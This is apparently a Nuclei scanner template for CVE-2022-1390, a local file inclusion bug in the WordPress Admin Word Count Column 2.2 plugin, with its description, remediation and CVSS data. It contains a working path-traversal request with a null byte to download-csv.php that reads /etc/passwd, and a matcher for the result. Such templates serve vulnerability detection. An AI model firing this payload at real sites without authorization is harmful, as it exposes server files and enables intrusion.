id: CVE-2022-1390 info: name: WordPress Admin Word Count Column 2.2 - Local File Inclusion author: daffainfo,Splint3r7 severity: critical description: | The plugin does not validate the path parameter given to readfile(), which could allow unauthenticated attackers to read arbitrary files on server running old version of PHP susceptible to the null byte technique. This could also lead to RCE by using a Phar Deserialization technique. remediation: | Update to the latest version of the WordPress Admin Word Count Column plugin (2.2 or higher) to fix the local file inclusion vulnerability. reference: - https://packetstormsecurity.com/files/166476/WordPress-Admin-Word-Count-Column-2.2-Local-File-Inclusion.html - https://wordpress.org/plugins/admin-word-count-column/ - https://wpscan.com/vulnerability/6293b319-dc4f-4412-9d56-55744246c990 - https://nvd.nist.gov/vuln/detail/CVE-2022-1390 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2022-1390 cwe-id: CWE-22 epss-score: 0.96836 epss-percentile: 0.99577 cpe: cpe:2.3:a:admin_word_count_column_project:admin_word_count_column:*:*:*:*:*:wordpress:*:* metadata: max-request: 1 vendor: admin_word_count_column_project product: admin_word_count_column framework: wordpress tags: packetstorm,wpscan,cve,cve2022,wordpress,wp-plugin,lfi,wp http: - method: GET path: - '{{BaseURL}}/wp-content/plugins/admin-word-count-column/download-csv.php?path=../../../../../../../../../../../../etc/passwd\0' matchers-condition: and matchers: - type: regex regex: - "root:[x*]:0:0" - type: status status: - 200 # digest: 4a0a00473045022100a0e4c41d6f2537c07d5f3f7dac94df0679fecbf7d078aa299f76ba5bfb284b00022030d1c0f7a7d840299296f27bc774c05a5568ef111b779e66a15b0c794f23e8f9:922c64590222798bb761d5b6d8e72950